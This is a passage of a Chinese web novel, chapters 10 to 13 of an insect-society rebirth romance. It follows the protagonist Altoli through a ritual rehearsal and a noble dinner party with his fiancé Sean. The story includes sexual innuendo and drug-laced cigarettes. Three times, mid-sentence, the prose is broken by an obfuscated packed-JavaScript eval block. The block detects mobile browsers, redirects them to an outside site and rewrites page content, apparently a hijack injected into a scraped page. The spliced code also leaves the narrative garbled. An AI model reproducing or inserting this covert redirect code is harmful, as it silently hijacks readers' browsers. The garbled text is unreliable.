这不是说其他虫就看不到这些不安因素,比如老师,比如贝卓,但会如此不顾及阿尔托利心情和自尊的,如此简单直接地挑明的,从来就只有西恩,事实上也只有西恩。 老师很爱我。但他一向信奉实践出真知。 他会在我摔伤后帮我包扎,却从不会在我突发奇想爬树掏鸟窝时说“不”。 贝卓一直想和我成为朋友、或者试图当我的“哥哥”?我不清楚。 他总是在担忧、又过分谨慎,他对自己的观点没什么自信,更怕说出来惹我生气。 剩下的……好吧。我在圣廷就这么点虫缘。 其他都是些派不上用场的狐朋狗友(说不定很多还巴着我遭点罪倒些霉),重生回来这几十天,都被我彻底冷落了。 再说一次,我需要盟友。 西恩是最佳虫选。 考虑到我曾经的恶劣行径,我很庆幸,这个时间点的雌虫愿意对我说那么一番话。 不过话说回来,也许西恩一直都是这样。 我们持续多年的“糟糕关系”,也许只是因为阿尔托利先入为主的将对方放在对立面。 下午,是祝祷仪式第二次彩排。 彩排总共就四次,前两次是重点。最后两次只是过个流程,踩踩点位,因此大部分的内容放到第二次。 我定了五个闹钟,成功在预定时间爬下了床。 结果,在我去彩排地点的半道,一个娇小的虫影远远朝我跑来。 “小叔叔!” 他的笑容天真灿烂,停到我面前时还在大口喘气,白皙面颊上满是红晕,看上去可爱极了。 “终于找到你了。” 莱伊亲昵地凑到我身边,侍从们识趣地跟在稍后几步的位置,“小叔叔你不回我简讯,我只能在这碰运气等你。” “什么简讯?没看到。” 我冷冷淡淡,是阿尔托利一贯的口气表情,莱伊却像被打击到一样,那双大眼睛瞬间就微红了。 “……你生病时,我被禁足,没法过来看你。因此那件事,一直没机会给你道谢。” 莱伊低下眼帘,声音又低又弱。 “小叔叔,你难道还在为此生我的气?” 听听。多么美妙的语言艺术。 明明是他连累阿尔托利在先,又试图让对方背锅在后。 结果三言两语之间,如果再不回答“没关系”“我没生气”,阿尔托利便成了心胸狭窄、跟自己侄子计较的小气虫。 “是啊。” 我快步向前,才不按他的剧本来,大方承认我的不爽。 “我可不想当罗里吧嗦、喜欢管束晚辈的老头。我劝过你,你不听。那就结束,有问题?” “…………我错了我错了。” 莱伊反应很快,小跑追在我身后。 “小叔叔,别不理我嘛。我不是故意要给你惹麻烦,只是这地方太闷了,就想着出去透透气……” “你不是也这样觉得嘛。所以我才想给……诶小叔叔!等等我!” “找我什么事,快说。” 莱伊拉住我的袖子,我只能停步转身,目光在他脸上匆匆一扫,根本不想看他第二眼。 我不加掩饰的不耐,让莱伊脸上闪过一丝受伤。 他咬了咬唇,眼睛更红了。 “……”我蹙眉,作势欲走,结果又被拉住了。 “今晚,埃里克,还有安德烈、罗斯会去我那用晚餐。他们都很想你,还带了一些新奇的玩意说要给你看看。小叔叔,你会来的吧?” 莱伊抬头望着我,眼神里满是恳求。 埃里克就是霍恩贝格公爵。 阿尔托利小学到中学的同班同学。圈子里阿尔托利比较喜欢的一只雄虫。 安德烈·卡洛斯。 卡洛斯家的小儿子。是只风趣幽默的雌虫,交际圈很广。 罗斯·奥托少将。 阿尔托利和他睡过几次,勉强算是P友吧。 这几个都去了,剩下的那些虫,当然也会去。 这是莱伊以自己的名义,顶风作案,给阿尔托利办的散心晚宴。 如果我现在是二十一岁,我肯定心动了。 但…… 我刚想拒绝,又突然想起西恩说我古怪。 古怪的论据,就是我近期的零社交。 事出反常必有妖。 显然,我的不对劲圣廷上下都察觉了。前阵子用养病还可解释,现在和以后呢? 我总不能断崖式一次性和阿尔托利的所有朋友全绝交吧? 更何况,这些一起吃吃喝喝的搭子里,也有那么几个,除了有点时下贵族子弟都有的坏毛病,其实虫品和能力都还行,比如奥托。 这只雌虫上一辈子可是一路升到了上将衔,且和叛乱分子战斗到了最后一刻,最后在护我逃亡时被叛军俘虏。 听说叛军用尽各种拷问手段,也没从他嘴里问出什么有价值的信息。 最重要的是,他也参与这次普兰巴图的出征。 要阻止即将降临在西恩身上的悲剧,除了后方的指挥决策,前线最好也有有能信得过的虫。 分秒之间,我已下了决断。 “我会去的。” 我对莱伊说道。 莱伊心满意足地离开,那个样子,让我几乎可以肯定。 晚宴,必然还有他的“布置”。 ——但我不会怕他。 无视、逃避解决不了任何问题。 既然他和科尔终有一天会背叛我,那就让我,在那之前,将他们作为工具,使用殆尽。 ………… 半路这么一打岔,等我赶到彩排地点时,果然又迟到了。 现场满满都是虫,有几个红衣主教,但更多是助祭这样的中下级职员。和上一次不一样的是,他们都在等我。 “阿尔托利,你没事吧?” 贝卓从虫群中走出来,一脸关切地迎向我,“拉格说你很早就离开了,但……” “那种谎话也就你会信。” 理查德冷哼着插话。他冷冷地看向我,语带嘲讽:“多半是刚从哪只雌虫身上爬起来的吧?厌弃了那个圣廷骑士,又找到什么新情虫了?” 理查德,和阿尔托利同样身穿红衣,是主教里有名的“毒舌”虫。 和贝卓老好虫相比,他实力略逊一筹,却更野心勃勃、更有掌控欲,对下一任教宗之位虎视眈眈。 既然想当教宗,很自然的,他对阿尔托利就不可能友善。 我白他一眼,不做回应。只是朝贝卓点了点头,直接擦着理查德的肩走过,来到其他主教面前,微微躬身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406669|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抱歉,路上有事耽误,让大家久等了。” “现在可以开始了。” 众虫不吭声。 我再看过去时,不光助祭们惶惶不安,就连其他几只主教,也你看我我看你地打着哑谜。 这是怎么了? 贝卓低咳两声,将手放到我的肩膀上,低声说: “殿下,您太客气了。大家……不太习惯。” ? 是指刚才的躬身? 理论上,我和他们平级。但实际上,我在主教之位外,还有圣子身份加持。根据圣廷教义,我只用对教宗一人行礼。 再仔细想想,好像这个时候,阿尔托利的字典里也没有抱歉一词。 ……但这也太夸张了吧。 我过去是有多么嚣张跋扈,让一个很符合此情境的反应,变成了堪比鬼故事的诡异行为。 我按照地板上贴好的标识,站到了仪式上我该有的位置,即五角星的正中间。 其他五位主教环绕在我周围,随着敲钟声响起,他们张开双手,用古语吟诵出征祷词。 精神力凝成的金色淡光悄然而至,将阵法内的主教笼罩在内。 上古之语,仅是念诵就有术法之效。当它们被组成特定词语、用特定韵律吟诵而出时,调动的能量便可增长至数百、数千倍。 这段祝祷仪式难度不大,效果取决施术者本身实力。五位红衣主教,则是仅次于教宗参与的高级别。 我沉默着,感受着空气中元素分子的游走。在某一个一闪而过的空隙中,我启唇发音。 精神力随之泄出。 围绕在身的精神力光辉突然暴涨,从淡淡的金,变成刺眼的白,从薄薄的轻纱,变成浓厚的白雾,且在同一时间,以我为中心,向四周、向整个殿堂迅速扩展而至。 “!” “!!” “!!!” 主教们愕然,吟诵声中断,但光辉并未消失,反而由游动的白雾再次转成了清透的光,又凝成一层薄若蝉翼的实体,犹如一个巨大半扣玻璃瓶,将在场的所有虫都笼罩在内。 我闭上唇。仰头打量头顶若隐若现的透明壳,很满意地观察到,它的形态比我上次使用时更稳定、更完美。 同我相似动作的还有贝卓。他离开自己的位置,快步走到阵法的边缘(很靠近出入口了),沿着它一路观察,又回到我的身边。 “太漂亮了!” 贝卓出声赞叹,双眼闪闪发光,“除了圣座,我还从来没见过有虫可以做得这么完美。阿尔托利,你太棒了!” 祝祷仪式本质上就是个大型施法现场。 因为是“范围技”,又因为被祝福者都是高等军雌,所以才需要很多圣职者,如此才能保证释出的精神力总量和质量。 换言之,只要有一只雄虫足够强大,可以负荷所有的消耗,其他虫也就不必要了。 以我对在场雄虫实力的了解,目前能做到我这种程度的,应该也就贝卓和理查德。 不是说其他主教做不到,而是毫无错误的吟诵、完美掌握的释放节奏,以及最终稳定维持 、显现的成品,需要无数次练习和足够稳健的精神域状况和心态。 我能一次性做出来,就说明了我有站在祝祷主位的资格和实力。 这是一次“展示”,也是我对圣廷内外,对我主持仪式持有怀疑态度群体的“回复”。 名不副实的“圣子”,将正式成为过去式。 11. 喜悦 “透明壳”维持了约十分钟才慢慢消散。 这十分钟,助祭们窃窃私语,主教们神情变换。 十分钟后,主教们挨个同我搭话,赞叹我的技巧,恭迎我的实力,唯剩脸色难看的理查德和他的拥护者们,站在角落咬耳朵。 “原来那些传言不假,殿下果真窝在寝殿集训。幸运的是,看来成果还不错。” 理查德当然不会如此简单就作罢。他和他的下属嘀咕完,就又朝我走了过来。 “就是不知殿下的光复礼掌握得如何?那才是仪式的重头戏。殿下不妨也展示一下,让我们 这些爱操心的长辈也松口气、放放心。” 呵,这是打定主意,觉得我外强中干在唬虫了。 也是,阿尔托利曾经的吊车尾可是有目共睹。短短时间内,突然实力大涨,怎么想都有古怪。 “五天后,你会看到的。” 我对理查德微微一笑,不理他的挑衅。 光复礼是一对一的修复术,本就难以展示。 理查德当然不是脑筋不好记错了,而是意在提醒现场其他虫,不论我的祝祷式有多完美,都不重要。重要的是,理论上阿尔托利绝对完成不了的光复礼。 同时,这也是对阿尔托利的一种心理施压。 告诉他,别太得意。光复礼可不是中低难度的祝祷式,没法短时间恶补。做不到,就是做不到。 如果换成当年的阿尔托利,他这一招,绝对奏效。 本身,光复礼是区分中级和高级圣职者的重要术法。 阿尔托利当年状态好的时候,都完成的勉勉强强。状态不好,那基本就没戏了。而死要面子的阿尔托利,让他认输或者寻求他虫帮助,怎么可能? 结果可以预料—— 不是憋着一口气非要逞能,弄砸整个仪式当众出丑;就是焦躁难安,在最后一分钟内临阵脱逃,留给其他主教擦屁股。 无论哪一种,都是阿尔托利抹不去、会伴他一生的黑历史。 只可惜,理查德这次要失望了。 临走前,我避过他虫耳目,将贝卓拉到没虫的阳台上。 “阿尔托利,光复礼,真的没问题吗?” 贝卓表达着自己的担忧,“你不要逞强。实在不行,我再去同圣座谈谈。你这么年轻,这要求本身就很不合理……” “你不相信我?” 我反问,成功看到贝卓开始目光游走、支支吾吾。显然他对阿尔托利毫无信心,哪怕刚刚他还夸赞了我的祝祷式。 “先不提那个……老师,最近几天,有没有同你说什么?” “说什么?”贝卓眨眼,迷茫。 “德罗萨。”我报出关键词,成功看到贝卓面色一变,瞬间,眼中原本可爱的迷茫被警觉取代。 “阿尔托利,你……” “老师告诉我的。”我撒了个小慌,“祝祷仪式后,你真的要去德罗萨?日程……没有什么更改吗?” 我旁敲侧击。 自从前几日和老师当面一谈后,我都没能再见到老师。 当时我说了很多关于德罗萨之行的细节,彻底坐实了我“觉醒了第四天赋”这一事实。但后续如何处理,老师只让我回去休息,一句多余的也没说。 我着急的一度都想替他取消预定的航班,对分教区的负责虫说我们不去了。 但当然不行。我只能当面问他。 “……”贝卓神色复杂地看了我一会,“圣座告诉你的?呃……也是。” 他嘀咕着,像是说服了自己,几秒后沉重的神色不见了,又变回了那只看着有点呆傻的老好虫。 “目前没有听说有什么变动。你……也想去?” 我是不想看到你送命! 这话可不能说。 我只能摇头:“没什么。我还有事,先走了。” * 傍晚。 我站在镜前,看着镜中的青年。 西装是深灰色的,完美地显现出雄虫身体的线条。搭配绿色领带和白衬衫,柔和了西装本身的严肃感,衬托出了青年的紫色双瞳。 优雅、自信、从容、有风度。 没有穿圣廷教袍时的疏离和高洁,但多了力量、掌控和自持。 “双排扣很挑虫,但您非常适合。”拉格替我调整着领带的位置,“今晚,您会让所有虫都看直眼的。” “说得好像他们有不直眼的时候一样。”哈勒抱怨,惹得其他侍从笑出声来。 短短几十天的纵容,侍从们就放下了心防,敢在阿尔托利面前开玩笑了。 不过倒也不赖。 收拾妥当,我坐上悬浮车,前往莱伊的住处,准备赴宴。 终端微颤,提醒我有新的简讯。 发信虫署名【臭脸】。 点开内容,是一个时间和地点,以及后面短短两句附言。 【敢说出去,你死定了。】 【敢放我鸽子,你死透了。】 楞了两秒,我才反应过来,这是西恩发来的。 时间是明天上午,地点在近战训练场。 ……是他教我体术的交易。 不过,臭脸?还有这小学生水平的威胁? 一时间,我都不知道该吐槽阿尔托利的起名水平,还是西恩的选词用句。 早上的威胁历历在耳。 我想了一下,回了条讯息。 【有空吗?陪我去个地方。】 【没空。】秒回。 【那就没办法了。我答应了莱伊,要去他那吃晚餐。】 【还有,虽然宾客名单上没有,但我觉得科尔也会去。】 【……还有谁会去?】 【奥托。】 【哪个奥托?】 【R打头的。】怕他想不起,我快速翻到通讯录,找了罗斯·奥托的一张照片,发了过去。 【艹!】秒回。 我微笑。退出简讯页面。 三秒后,视频通讯请求响起。我刻意等了一分钟,才慢悠悠接起。 【阿尔托利!你脑子被驴踢了吗?!吃晚餐?你**是想开Yin趴吧!】 【西恩,注意措辞。】我对他微笑。 【我很乐意带未婚夫一起赴宴,只是可惜……】 【……】 西恩不说话了,只瞪着一双怒意满满的绿眸,用眼刀扎我。 显然已经反应过来自己上了当。 【十分钟后,你来接我!】 撇下这么一句,他迅速挂断通讯。 “哈哈哈哈哈哈。” 心情实在畅快,我在后座忍不住笑出声来。 二十九岁的西恩…… 真的 很可爱。 由这条讯息,我才想起,还没解释早上西恩那样“被夺舍”的原因。 ——我……我会变成这样,本就是你害的。 他说的没错,都是我害得。 修仙小说里,每个修行者都有天生的灵根属性,且一般而言,灵根越纯越牛逼。 雄虫也一样。 他们觉醒哪项精神领域,便会点亮那一领域对应的元素亲和力。 我觉醒了圣言、圣愈、圣祭三项天赋,便是“风+水+火”的组合。 我说过,我是圣廷百年难得一见的天才。 除去数量比普通雄子多,另一重要原因,是因为这三个匹配出现的概率很低。 为什么概率低,因为这三元素,本质上就是此多彼少、你强我弱的互斥关系。 同样修行内容,同种努力程度,我的进展会比只点亮1项或者兼容2项的更慢、更艰难。 换句话说,阿尔托利在精神力应用上,杂而不精是很正常的发展。 而专注精进,极其困难、违逆天性。 这源于元素本身特性,不可违逆,很难改善。 但很难……就是可以。 雌虫,身强力壮、体能强悍。 虽然也有精神核,也能产生精神力,但他们天生对精神能量钝感,很难感知、操纵。 四元素和他们之间,隔着一层巨大厚实、且难以逾越和突破的膜。 如果说雄虫的精神力,是编织机上的灵巧丝线,缕缕分明,灵活度和应用性都极好。 那么雌虫的精神力,便是深埋土中、永远不可能发芽抽枝的沉睡种粒。 重点来了。 他们自己不能用,却可以为雄虫所用。 雄虫只要找到有助于自己精神力天赋属性发展的雌虫,便可事半功倍。 普通雄子因为觉醒的天赋单一,找到符合要求的雌虫并不难。 甚至不找也没关系,因为本身力量稳定,且成长道路上早有前辈无数经验可供使用。 我不在此列。 幸运的是,我找到了西恩,这只可以补足我精神力巨大缺陷的“万能灵药”。 因为他的能量属性,恰恰好和我非常互补,契合度远远超过及格线的50%,达到了极其可怕的95%。 西恩甚至什么都不用做,只是日常待在我的身边,便对我的身体和心灵健康,都大有益处。 反过来亦然。 这也是为什么,明明身为无比尊贵的皇室雄子,明明身在一雄多雌婚姻制下,兄长却会早早为我定下婚约。 真正的错过这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406670|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只,再无下一只。 再延伸一下,他那句意下何指,清楚明白。 雌虫,渴望来自雄虫的圣言。 被圣言主宰时,这些富有强大力量的凶残野兽,可以将自己完全交出、回归本性,在短暂宁静的休憩中,感受灵魂最深处,泛起的无上喜悦。 这能帮他们释放战斗带来的压力,清理积累在精神图景和□□中的疲惫。 就像一根时刻绷紧的橡皮筋,终于解开了束缚,可以缩回原本的长度,由此拥有更长的使用周期。 西恩十三岁时,和我缔结婚约。 按圣廷教义和帝国律法,虽然还未成婚,但他已经是我的所有物。 没有我的允许,他不能接受其他雄虫的圣言,也不得私自与其他雄虫签订治疗契约。哪怕是最基础的E级契约也不行。 而我和他的“互补”属性,成百倍地恶化了他的状况。 以他十八岁为成年期算起。 十一年。整整十一年。 那些无数次生死搏杀后积攒下的压力、□□、渴望,一日日像朵朵雪花于覆满山巅,静静潜伏,看上去无比平静,但只要我轻轻一吹,便会引发雪崩一样的大轰榻。 我望着被夕阳覆盖的圣廷园林,忽然有一丝酸胀泛上心头。 只是如此简单的接触,如此简单的圣言,二十九岁西恩要将他最引以为为傲的自我抛弃。 那当年的西恩呢,他是如何忍受我的冷漠、怠慢、仇视和憎恶? 我对他做过的事,远比我以为的更残忍、更冷酷。 可在一种突然窜起的恐慌、自责中,又有一种喜悦像花朵一样悄悄绽放,给我重生来空茫、不安的心种下一抹温暖的光。 他是我的。 他为我而生。 在这个世界上,再也不会有第二只雄子,有我对他如此之大的影响力。 不管他愿不愿意,喜欢与否,都无法否认的影响力。 怀着这种心情,当悬浮车在西恩临时住所停下,而等候在旁的黑发雌虫坐进来时,我对他展颜一笑。 “…………” 西恩狐疑地盯着我,紧蹙眉头。 “阿尔托利,你的脸怎么了?中风抽搐了?” 去死! 西恩·萨提洛斯! 去莱伊暂住居所的路上,悬浮车里十分安静。 雌虫难得没有穿军装,转而选了一套黑西装,里面是蓝衬衫和灰领带,短短黑发被发胶全抹上去,依旧一如既往的无懈可击、帅气逼人。 上车后,西恩毫不掩饰他刻意与我拉开距离且保持的意图,全程只给我侧脸,气息沉冷,压制场可怖。 “……” 你不招阿尔托利待见是有原因的! 内心吐槽完,我的气也消了。 中年虫,不跟血气方刚的年轻虫一般见识。 他没有闲聊的意愿,我也乐得轻松,打开终端,继续读昨晚读到一半的精神力应用研究报告。 很快,目的地到了。 我率先下车,西恩跟在我身后。迎宾的侍从刚对我行完礼,一抬头,就被吓到了。 “萨、萨提洛、斯斯……少将……” 这一开端,奠定了今晚晚宴的整个基调。 每个侍从都用看外星虫的眼神偷瞄西恩,而他们的主人显然也不是例外。 “……没想到会在这里见到您,萨提洛斯少将。” 莱伊完美的表情管理出现了显而易见的裂痕,口气非常生硬,僵硬的肢体细节表示他很紧张。 S级雌虫的压制场,经控制后刻意释出,比暴雨来临前的低气压还要强几倍,会让S级以下的虫胸口憋胀、呼吸困难,严重者还会呕吐不止、甚至晕厥。 莱伊只有B-,脸色虽然苍白,但依然坚持迎客,我都有点佩服了。 “少将阁下公务繁忙,实在难请,因此没有送上请帖,却没想到,等来了这意外之喜。” 莱伊勉力撑着阴阳怪气。 西恩对所有雄子都一视同仁黑脸,此刻又不礼貌地释出压制场,就是主打一个圆滑社交的莱伊也忍不了。 “我不忙。只是讨厌听那些虫抱怨天气、食物和政治,喝了酒的夸夸其谈更难忍受。” 西恩姿态优雅地在侍从拉开的椅子上坐下。 下一秒,他抬眸,如刀般锋锐的目光在宴会厅及在座虫脸上一一扫过。 “今天,是应阿尔托利要求来作陪,看看有没有什么新鲜有趣的东西。” “毕竟雄主的喜好,也得找机会了解了解。” 我坐在他旁边,一副这番话已经过我首肯的淡然,无视其他虫频频投来的惊疑打量。 12.抓紧机会 帝国贵族圈的潜规则。 雄虫有雄虫的玩乐圈,一般不带自己家雌虫出席。 因为这种宴席不管什么名头,后半段必然是各种没下限的黄□□靡。 有些雄虫会带地位较低的雌奴参加,大多表示他已经厌烦对方的服侍。 这个时候,其他雄虫若有看得上的,便可赠予或者交换。 带雌君出席,只会在非常正式的社交场合。 那会每只雄虫都风度翩翩、深情温柔,和自己的雌君恩恩爱爱,随便拍拍都可以上帝国婚恋宣传册。 今天西恩同我一起出席。 我破坏规矩在先,他毫不客气的示威在后。 但因为我和他的背景地位,其他虫只能将被冒犯的不爽往肚里吞。 “哈哈哈哈,萨提洛斯少将有心了。” 仿佛完全没听懂西恩夹枪带棒的一番话,埃里克·霍恩贝格爽朗大笑,化解陷入冰点的餐桌氛围。 “我家那尊大神脾气太大,每次喝完酒回去,都要将门甩我脸上。三五天啊,我只能睡沙发。太惨!” “阿尔托利,婚前雌虫们的温柔,你可要珍惜。” 话落,他转头举起酒杯,扬声提议: “朋友们,为萨提洛斯少将莅临干杯,感谢他将殿下还给我们!” “干杯!” “干杯!” 众虫高声附和。 随后,霍恩贝格用什么话题都能谈两句的储备素材以及谁都可以搭上两句的强大虫缘,让这顿饭得以继续。 阿尔托利同他做朋友,也是因为这一点。 无论什么场合,只要有埃里克·霍恩贝格,氛围便和谐有趣。 尖酸刻薄的会收敛些许,拘谨约束的也能享受交谈,就连一些下三路的无聊老套笑话,也能焕发出最后一点高光,引发一阵低笑。 顾及着西恩,饭吃到一半,桌上都是些关于天气、食物、政治无关痛痒的闲聊(没错,就是西恩最讨厌的那类宴席),以及贵族圈最新的八卦流言。 “基恩家的小雄子,最近在追一个明星。是个低等雌虫,皮相还不错。” “乌瑟那老东西,债务堆顶,急得慌不择路。你们猜,找门路找到谁那了?布锡亚!” “说个好笑的,迪布莱几个雌奴争风吃醋大打出手,都进病危室了。” “我最近才知道,理曼帝国风头很旺的那只雄虫军医,居然还是大公之位的继承虫,还是雄长子!” 各类酒流水般地上,屋内热了起来。 有虫解了领巾,也有虫脱去马甲,醉态渐显,修养也渐渐丢掉,逐渐显出华美皮囊下的原型。 如何让自己融入这类宴会又保持清醒,是我从上辈子就熟练掌握的技能。 我喝的不多,但除了身边的西恩,应该没虫发觉。 他则坐得笔直,该吃吃该喝喝,不抬头不接话,好似一虫独处另一空间,压制场不知什么时候也消失了。 众虫似乎已忘了他的存在,话题开始向着一贯的走向拐去。 “瑞奇,好东西不要藏私,来来来,让我们都尝尝。” 我记不起名字的几只雄虫凑在一起嘀咕,末了有喝得脸蛋通红的,将一个银色小盒交予侍从。 侍从挨个分发。 是时下贵族雄子最爱的细长香烟 捏起嗅闻。 只一下,我丢到旁边。 “殿下,不是那些常见货,您一定要试。” 脸蛋通红的雄子凑过来,眼神暧昧地在西恩身上一转,“再强悍的雌虫也会化作一滩春水,任您施予——” 他贴到我的耳边,低声道:“sao到前后同时冒水,爽翻天! 雄虫的声音虽低,但足以让靠得近的其他几只听到。 他们即刻发出一阵下流的哄笑,露骨的目光频频缠上我身边的雌虫。 军雌不管军衔多高,在外如何骁勇征战,只要进入这种场合,便会遭遇雄虫们此类评估、打量。 雌虫们亮出利爪、压制场时,他们是真的怕,但被社会规则保护的他们,也对自己的优势地位明了于心。对他们来说,雌虫只有繁衍及玩乐两个用途。 这是上一辈子,西恩曾说过的原话。 我至今都能想起他那时的模样,侧脸极冷,绿眸灼灼,如冰冷的火,整只虫光彩夺目的同时,又充满慑人心魄的阴翳。 我偷偷瞥他,却见黑发雌虫脸色沉冷,看不出心中何想。 但没有发火的迹象。 我心下稍安。 “阿尔托利不像你们,他不用这种东西,也能让雌虫快乐。” 罗斯·奥托位置在我对面。今天晚上第一次主动朝我搭话。 他有一头银灰短发,面容英俊。比西恩略矮一些,身材更为健壮。 他穿一件低领V口衬衫,露出脖颈下锋直的锁骨。扣子只扣三颗,胸肌之间的凹谷若隐若现。 “他的‘圣言’堪比顶级chun药,让我做梦都想再体验一回。” 奥托仰头,喝下杯中酒液。红色酒液沿着他嘴角流下,滑过脖颈,没入前胸。 他放下酒杯,伸出舌头,舔去嘴角残液,对我扬唇一笑,成熟性感,慵懒肆意。 我不撒谎。 那一瞬间,这具年轻的躯体的确有些意动。 但也只是一瞬。 注意力再收回时,发现黑发雌虫在桌下拉住我的手,发着狠力,把我骨头捏得咯吱作响。 西恩冷笑:“可惜,奥托少将,你的梦想终其一生,也只能是梦想了。” “……是吗?”奥托含笑看向我。 我回他一个歉意的淡笑:“我和西恩,待他出征归来,便会举行婚礼。” “只立君不纳侍,白纸黑字,会写进婚后典则。” 仿佛按下什么按钮,身边嘈杂之音一瞬归零。 众虫目光齐齐转来。 奥托一怔,像被什么禁锢原地,不得动弹。 半晌,他抬手,嘴角一弯,喉间挤出一声笑,向我举起一杯酒: “那……提前祝殿下,婚后生活……幸福美满。” 手上疼痛骤减。 西恩拿起我的酒杯,倒了满满一杯,仰头一饮而尽,横臂一抹:“谢了。” “小叔叔,这是真的吗?!” 莱伊惊呼,不敢置信。他看了看我,又看了看西恩:“您之前不是才说要取消婚——” 他猛地捂住自己的嘴,似乎刚刚察觉自己失言。 点到即止,但已足够。 在场的虫,都是贵族,都很年轻,一样的游手好闲。吃喝玩乐之余,最大乐趣便是对各方丑闻评头论足,用作娱乐。 阿尔托利给萨提洛斯戴绿帽的事,虫尽皆知,也时常被拿来打趣。 这忍了大半晚上,到此时,各个眼冒精光,等着看戏。 “你记错了,莱伊,我怎么可能说过那种话。” 我用被捏得通红的那只手,在桌下摸索西恩的手,牵起,在他手背上一吻,再用脸贴上去轻轻地蹭。 “萨提洛斯少将,可是我的万里挑一、命中注定。” “不管发生什么,我都绝不会放手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411595|153482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛围近乎凝固,视线里的迷惑、愕然、质疑、嘲讽、揶揄轮番演绎,到最后也没出现该有的赞叹与认可。 “殿下……在说什么?” “失心疯?” “现在流行这种新玩法?” “啧,演得还挺真。” 私语落入我的耳朵,又仿佛风一样消散。 他们如何猜测、如何认为,根本不重要。 重要的是,正注视着我的雌虫。 我抬起眼睑,见西恩正专注地看着我,眉头拧打,眼神带着痛感,还有一种莫名沉淀下来的情绪,格外的沉重,却又有几分恍惚。 像是恍然回神,西恩抽手。 ……于是我明了,他不信。 倒不奇怪。 阿尔托利最为喜新厌旧,且坦荡的从不遮掩。 但就算是他,也有厌倦变化的时候。只是当年的这段日子,各种内外因素作用下,赶到了科尔头上。 甜点还没上时,我察觉到西恩的异样。 他已好一会没有动作,垂着头,像是在沉思。我按上他的肩,他懒懒掀眼,目光迷离,脖颈耳朵一片红。 ? 醉了? 诧异之时,在我另一侧的安德烈·卡洛斯几步窜过,一把将眼看着要向餐桌睡去的西恩拽起。 “殿下,少将阁下酒量一向不好。今晚又是几种酒混着喝,待会肯定会很难受,您还是先带少将回去吧。” 我不由多看他几眼。 安德烈长相就雌虫来说太过阴柔。 一双明亮有神的双眼,则为他增色不少,让虫一眼分辨他的性别。 说实话,在此之前,我根本想不起他的样子,只记得“风趣幽默,朋友很多”。 现在听他话里话外意思,竟与西恩还有私交? 我从他手中接过摇来晃去的西恩。 他垂着脑袋,将头埋在我肩上沉沉喘息。 骨架大,身量高,再加一身硬邦肌肉,一只手根本圈不住,勉强走了两步,西恩忽然大力推我,动作之间,带倒桌上酒杯,深色酒液瞬间浸上我的衬衫和西裤。 “殿下!” “小叔叔!” 侍从匆匆赶来,替我清理衣服,西恩还挂在我身上,呼吸很重,好像得了重感冒,只是吸气吐气都很困难。 “小叔叔,你需要换件衣服。萨提洛斯少将则需要一张床。” 莱伊劝我,眼神有点深意。 我会意,点头应允。 将西恩安置在客房,我换上侍从拿来的衣物。 是圣廷最常见的长袍,配双木制拖鞋,宽松舒适,悠闲自得。 晚宴还在继续,吸了致幻剂的虫们开始放浪形骸,其中没有奥托的身影。 我转去能看到花园的露台。 夜色下,一道挺拔的背影正弹去烟灰。随后,他复又拿起,深吸几口,烟雾缭绕。 我在他身后停下:“奥托少将。” 雌虫回身,一张脸笼罩在雾海里,灰蒙蒙的:“殿下。” 他分出一根烟递过,我摇头拒绝:“戒了。” “……什么时候?”奥托问。 “不记得了。” 这是真话。 许是重病后被勒令禁烟禁酒,或是夜夜失眠试图重新振作时,又或是更早,身边虫不断死去而我被独自留下时。 戒了吸、吸了戒。周而复始,直到最终彻底厌倦。 奥托掐灭烟头,凑过来看我。 他仔细端详了一会:“……短短一月不见,殿下变了。” 13.送上门来 “是吗?”我不置可否。 “是。”奥托浅灰色的长眸很锐利,“您同萨提洛斯少将一同过来时,明明一样的长相,我却觉得是不同的雄子。” “二十一岁,不能再当只虫崽,也该变了。” 我回他。 奥托立于原地,默然无语。 我在他身后两步,向露台外望去。 圣廷的每处风景都很美。日出与黄昏为最。 但秋初微凉夜,看月亮也是不错。 “下月的普兰巴图一战,你明明可以避过,为何执意要去?” 我忽然开口。 奥托一愣:“……殿下为什么会知道?” “保密。”我回答。 “普兰巴图最前线战死率高达3:1,说是虫间炼狱也不为过。据说奥托家一片恳求,也谈好了要将你调去其他军团。” “你得到消息,接连找了几位元帅,多番口舌,才争取到远征机会。为此惹怒奥托大公,气得他当场昏厥。” 眼前虫上辈子亲口对我说的事被我一一说出后,雌虫收了笑容,目光肃然。 “很热血,很励志,却……很不像你。” 奥托家几百年来一直都是名门大族。 家风很严,精英辈出,影响力主要集中在政|军两界。 最近两代,本家虫口不多,罗斯·奥托的双亲更是双双亡于战场。 现任奥托大公在位多年,对自己的孙子尤为宠溺,早就为他铺好了康庄大道。 